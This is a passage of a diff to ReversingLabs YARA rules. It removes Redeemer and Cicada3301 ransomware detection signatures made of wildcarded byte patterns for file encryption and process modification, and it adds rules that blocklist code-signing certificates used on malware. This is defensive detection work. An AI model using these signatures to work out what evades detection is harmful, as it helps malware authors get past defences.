"12235e324b92b83e9cfaed7cbcff5d093b8b1d7528dd5ac327159cde6e9a4d1f" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Redeemer" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? - 8B BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C6 ?? 89 B5 ?? ?? - ?? ?? 89 B5 ?? ?? ?? ?? 3B F7 0F 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? - ?? 8B 3D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ?? - C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 - C4 ?? 84 C0 0F 85 ?? ?? ?? ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ?? ?? C6 45 - ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 75 ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 89 A5 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ?? - ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 75 ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B - CC 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 - } - $encrypt_files_p1 = { - 80 FB ?? 0F 85 ?? ?? ?? ?? 83 EC ?? 8D 55 ?? 8B CC 89 A5 ?? ?? ?? ?? 68 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? - C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ?? 8B 01 EB ?? 8B C1 33 D2 - 6A ?? 66 89 10 8D 45 ?? 52 50 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? - ?? 83 C4 ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83 - 79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ?? 8B 01 EB ?? 8B C1 33 D2 6A ?? 66 89 10 8D 45 ?? - 52 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 8D 45 ?? 3B C6 - 74 ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 33 C0 C7 45 ?? - ?? ?? ?? ?? 56 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? C6 45 - } - $encrypt_files_p2 = { - 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 35 ?? ?? ?? ?? 33 C0 83 7D ?? ?? 66 89 85 ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? - 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF D6 85 C0 0F 85 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 50 FF D6 8B 85 ?? ?? ?? - ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? E9 ?? - ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 45 ?? 83 C4 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 33 - C0 C7 45 ?? ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? 8D - 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E - 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 E8 - } - $modify_processes_p1 = { - 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D - ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? - E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? - C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D - ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? - E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 - } - $modify_processes_p2 = { - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 F9 6A ?? 8D 8D ?? ?? ?? ?? 6A ?? 8D 04 52 8D 04 C1 - 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 0F - 43 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D B5 - ?? ?? ?? ?? 0F 43 95 ?? ?? ?? ?? 0F 43 B5 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 C8 ?? - 50 56 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 F9 6A ?? 8D 8D ?? ?? ?? - ?? 6A ?? 8D 04 52 8D 04 C1 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 85 ?? ?? - ?? ?? 8B CC 89 A5 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC FF 37 E8 - ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? C6 45 ?? ?? 8D 85 ?? ?? - ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8B 4D ?? 64 89 - 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 FF 77 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Everything Wow s.r.o." and pe.signatures [ i ] . serial == "49:29:ab:56:1c:81:2a:f9:3d:db:97:58:b5:45:f5:46" and 1594252800 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_25C6Dbce3D5499F65D9Df16E9007465D : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "f6d0808d-4748-5b9f-9be2-7753292a6209" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12312-L12328" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "978f05f86734c63afe1e5929a58f3cfff75ef749ffda07252db90b6fe12508ec" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $modify_processes_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AMCERT,LLC" and pe.signatures [ i ] . serial == "25:c6:db:ce:3d:54:99:f6:5d:9d:f1:6e:90:07:46:5d" and 1626566400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Cicada3301 : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_Bc6A1812E001362469541108973Bbd52 : INFO FILE { meta: - description = "Yara rule that detects Cicada3301 ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c1a60870-0b68-5f2f-a74f-34e493a5e251" - date = "2024-10-09" - modified = "2024-10-09" + id = "ac5ac6d7-898b-5547-8d35-a483f20edcd6" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Cicada3301.yara#L1-L309" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12330-L12348" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9479667fd4c7f865607ece6af985ab6fa7b62f98738c338e4155059551db8a21" + logic_hash = "9b678e9fb1e1eda3ac8e027b5e449af446de4379fea46ef7ff820240c73795ee" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Cicada3301" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $get_valid_drives = { - 55 89 E5 53 57 56 83 EC ?? A1 ?? ?? ?? ?? 0F B6 00 6A ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 - ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 28 0D ?? ?? ?? ?? 0F 28 15 ?? ?? - ?? ?? 89 C6 0F 11 00 0F 11 48 ?? 0F 28 0D ?? ?? ?? ?? 0F 11 50 ?? 0F 28 15 ?? ?? ?? - ?? 0F 11 48 ?? 0F 28 0D ?? ?? ?? ?? 0F 11 50 ?? 0F 11 48 ?? C7 40 ?? ?? ?? ?? ?? C7 - 40 ?? ?? ?? ?? ?? 83 C0 ?? 8D 4D ?? 50 56 51 E8 ?? ?? ?? ?? 83 C4 ?? 80 7D ?? ?? 0F - 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 7D ?? 89 45 ?? 83 FF ?? 0F 82 ?? ?? ?? ?? 8B 5D ?? - 8D 04 7F 89 75 ?? 89 7D ?? 8D 74 83 ?? 66 2E 0F 1F 84 00 ?? ?? ?? ?? 90 57 6A ?? 8D - 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 8D 4F ?? 39 D1 0F 83 ?? ?? ?? ?? 39 D0 0F - 83 ?? ?? ?? ?? 8B 56 ?? 8D 04 40 89 CF 89 55 ?? F2 0F 10 06 F2 0F 11 45 ?? 8B 54 83 - ?? F2 0F 10 04 83 F2 0F 11 06 89 56 ?? 83 C6 ?? 83 F9 ?? 8B 55 ?? 89 54 83 ?? F2 0F - 10 45 ?? F2 0F 11 04 83 77 ?? 8B 45 ?? 8B 75 ?? FF 08 75 ?? FF 48 ?? 75 ?? 6A ?? 68 - ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 7D ?? 8B 45 ?? F2 0F 10 45 ?? 89 47 ?? F2 - 0F 11 07 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 89 F8 83 C4 ?? 5E 5F 5B 5D C3 - } - $collect_files_recursively_p1 = { - 55 89 E5 53 57 56 83 E4 ?? 81 EC ?? ?? ?? ?? 8B 4D ?? 8B 7D ?? 8B 75 ?? 8B 45 ?? 89 - 4C 24 ?? 89 44 24 ?? 57 56 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 84 C0 0F 84 ?? ?? ?? ?? - 8D 9C 24 ?? ?? ?? ?? 57 56 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 BC 24 ?? ?? ?? ?? ?? 75 ?? - 8B 84 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? - C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 7D ?? 8B - 5D ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 04 FB C7 - 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? - 8D 8C 24 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 0F - 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D B4 24 ?? ?? ?? ?? 56 E8 ?? - ?? ?? ?? 83 C4 ?? 56 8D 74 24 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? ?? 83 C4 - ?? 52 50 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B BC 24 ?? ?? ?? ?? 8B 9C - 24 ?? ?? ?? ?? 85 FF 89 FA 0F 44 D3 8D 8C 24 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? - 68 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 FF 74 ?? 85 DB 74 ?? - 6A ?? 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B 84 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B 7D - ?? 89 44 24 ?? 89 0C 24 EB ?? 66 90 83 C7 ?? 80 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 3B BC - } - $collect_files_recursively_p2 = { - 24 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 77 ?? FF 37 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? FF 34 24 FF 74 24 ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 74 24 ?? FF 74 24 - ?? 56 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 80 BC 24 ?? ?? ?? ?? ?? 0F 84 - ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? F2 0F 10 84 24 ?? ?? ?? ?? F2 0F 10 94 24 ?? ?? ?? - ?? F2 0F 10 8C 24 ?? ?? ?? ?? 8B 5C 24 ?? 89 84 24 ?? ?? ?? ?? F2 0F 11 84 24 ?? ?? - ?? ?? F2 0F 11 8C 24 ?? ?? ?? ?? F2 0F 11 94 24 ?? ?? ?? ?? FF 74 24 ?? 53 8D 84 24 - ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 88 44 24 ?? 8B 44 24 ?? 85 C0 74 ?? 6A ?? 50 - 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 85 C0 74 ?? 6A ?? 50 56 E8 ?? ?? ?? ?? 83 C4 - ?? 8B 84 24 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 50 FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 - C4 ?? 8B B4 24 ?? ?? ?? ?? 85 F6 74 ?? 8B 9C 24 ?? ?? ?? ?? 83 C3 ?? EB ?? 66 2E 0F - 1F 84 00 ?? ?? ?? ?? 90 83 C3 ?? 4E 74 ?? 83 7B ?? ?? 72 ?? 8B 03 85 C0 74 ?? C1 E0 - ?? 6A ?? 50 FF 73 ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 66 2E 0F 1F 84 00 ?? ?? ?? ?? 90 - 8B 84 24 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C1 E0 ?? 6A ?? 50 FF B4 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 0F 1F 80 ?? ?? ?? ?? 8D 44 24 ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 52 50 E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 74 ?? 8D 44 24 ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? 8B 5C 24 ?? 89 44 24 ?? 89 54 24 ?? 85 DB 0F 84 ?? ?? ?? ?? 83 FB ?? 0F - 85 ?? ?? ?? ?? 8B 74 24 ?? F0 FF 86 ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F - 1F 44 00 ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 52 50 8D 84 24 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 8B 84 24 ?? ?? ?? ?? 83 F0 ?? 0B 84 24 ?? ?? ?? ?? 75 ?? 8B 84 - 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? EB - } - $collect_files_recursively_p3 = { - 8D 94 24 ?? ?? ?? ?? 8D 9C 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 D7 89 DE F3 A5 8B 84 24 - ?? ?? ?? ?? 83 F0 ?? 0B 84 24 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 80 BC 24 ?? ?? ?? ?? ?? - 0F 85 ?? ?? ?? ?? 8B BC 24 ?? ?? ?? ?? 8B 77 ?? 8B 1F 8B 06 53 FF D0 83 C4 ?? 8B 46 - ?? 85 C0 74 ?? FF 76 ?? 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 57 E8 ?? ?? ?? ?? - 83 C4 ?? EB ?? 8B 74 24 ?? F0 FF 86 ?? ?? ?? ?? 7F ?? E9 ?? ?? ?? ?? 8B 74 24 ?? F0 - FF 06 0F 8E ?? ?? ?? ?? 89 5C 24 ?? 89 74 24 ?? FF 75 ?? 8D BC 24 ?? ?? ?? ?? 57 E8 - ?? ?? ?? ?? 83 C4 ?? 57 56 53 FF 75 ?? FF 75 ?? FF 74 24 ?? FF 74 24 ?? 8D 84 24 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 84 24 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B - 84 24 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 50 FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? - 8B 44 24 ?? 85 C0 74 ?? 6A ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 84 24 ?? ?? - ?? ?? F0 FF 08 0F 85 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 - ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 DF 89 D6 F3 A5 53 E8 ?? ?? ?? ?? 83 C4 ?? 09 D0 0F 84 - ?? ?? ?? ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 52 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 - C0 74 ?? 52 50 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 31 DB 83 7C 24 ?? ?? 75 ?? 8B - 5C 24 ?? 8B 7C 24 ?? EB ?? 8B BC 24 ?? ?? ?? ?? 31 DB 85 DB B8 ?? ?? ?? ?? 89 BC 24 - ?? ?? ?? ?? 0F 44 FB 0F 44 D8 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 52 50 E8 ?? ?? - ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 52 50 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 83 7C 24 ?? ?? 8B 4C 24 ?? 0F 85 ?? ?? ?? ?? 8B 74 24 ?? 89 C8 83 F8 ?? 0F 82 ?? ?? - ?? ?? 89 4C 24 ?? 8B 0E BA ?? ?? ?? ?? 31 D1 0F B6 56 ?? 83 F2 ?? 09 CA 0F 85 ?? ?? - ?? ?? 83 C0 ?? 8D 4E ?? 50 51 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 80 7C 24 - } - $collect_files_recursively_p4 = { - 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 89 84 24 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 89 C1 85 C0 74 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 50 51 89 4C 24 ?? E8 ?? - ?? ?? ?? 8B 0C 24 89 44 24 ?? 51 E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 74 ?? 81 7C 24 ?? ?? - ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 52 50 8D 44 24 ?? - 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7C 24 ?? ?? 8B 4C 24 ?? 8B 54 24 ?? B8 ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 0F 45 C8 B8 ?? - ?? ?? ?? 0F 45 D0 8D 84 24 ?? ?? ?? ?? 89 0C 24 89 44 24 ?? 8D 44 24 ?? 89 54 24 ?? - C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 8B 0C 24 8B 54 24 ?? 89 44 24 ?? 8B 44 24 - ?? 89 54 24 ?? 89 84 24 ?? ?? ?? ?? 89 C8 29 D0 BA ?? ?? ?? ?? 72 ?? 03 44 24 ?? FF - 74 24 ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 8B 54 24 ?? 85 C0 B8 ?? - ?? ?? ?? 0F 45 D0 8B 84 24 ?? ?? ?? ?? 89 54 24 ?? 85 C0 74 ?? 6A ?? 50 FF 74 24 ?? - E8 ?? ?? ?? ?? 8B 54 24 ?? 8B 4C 24 ?? 83 C4 ?? 89 C8 29 D0 89 44 24 ?? 50 8B 44 24 - ?? 50 51 50 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 84 24 ?? ?? ?? ?? - 3C ?? 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 8B 7C 24 ?? BE ?? ?? ?? ?? 39 04 24 74 ?? 85 FF - 0F 88 ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F B6 00 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 89 C6 85 - C0 0F 84 ?? ?? ?? ?? 57 FF 74 24 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 89 74 24 ?? 89 7C 24 - ?? 89 7C 24 ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 - } - $collect_files_recursively_p5 = { - 8B 7C 24 ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? - ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 74 24 ?? 56 E8 - ?? ?? ?? ?? 83 C4 ?? 56 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 0F 85 ?? - ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 74 24 ?? 85 DB 89 44 24 ?? 89 0C 24 74 ?? 6A ?? - 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? BE ?? ?? ?? ?? - C7 44 24 ?? ?? ?? ?? ?? EB ?? 31 C0 BE ?? ?? ?? ?? 83 F8 ?? 0F 83 ?? ?? ?? ?? 89 44 - 24 ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? - ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? - ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F2 0F 10 44 24 ?? 8B 44 - 24 ?? F2 0F 11 44 24 ?? 39 C7 89 44 24 ?? 8B 4C 24 ?? 89 0C 24 75 ?? 57 FF 74 24 ?? - 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 83 7C 24 ?? ?? 75 ?? 8B 06 8B 76 ?? B9 ?? ?? - ?? ?? BA ?? ?? ?? ?? 31 C8 31 D6 09 C6 74 ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 52 50 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 8B 5C - 24 ?? 8B 7C 24 ?? 85 FF 0F 84 ?? ?? ?? ?? 0F 88 ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F B6 00 - 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 89 C6 85 C0 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 44 - } - $collect_files_recursively_p6 = { - 24 ?? 85 C0 74 ?? 6A ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 66 2E 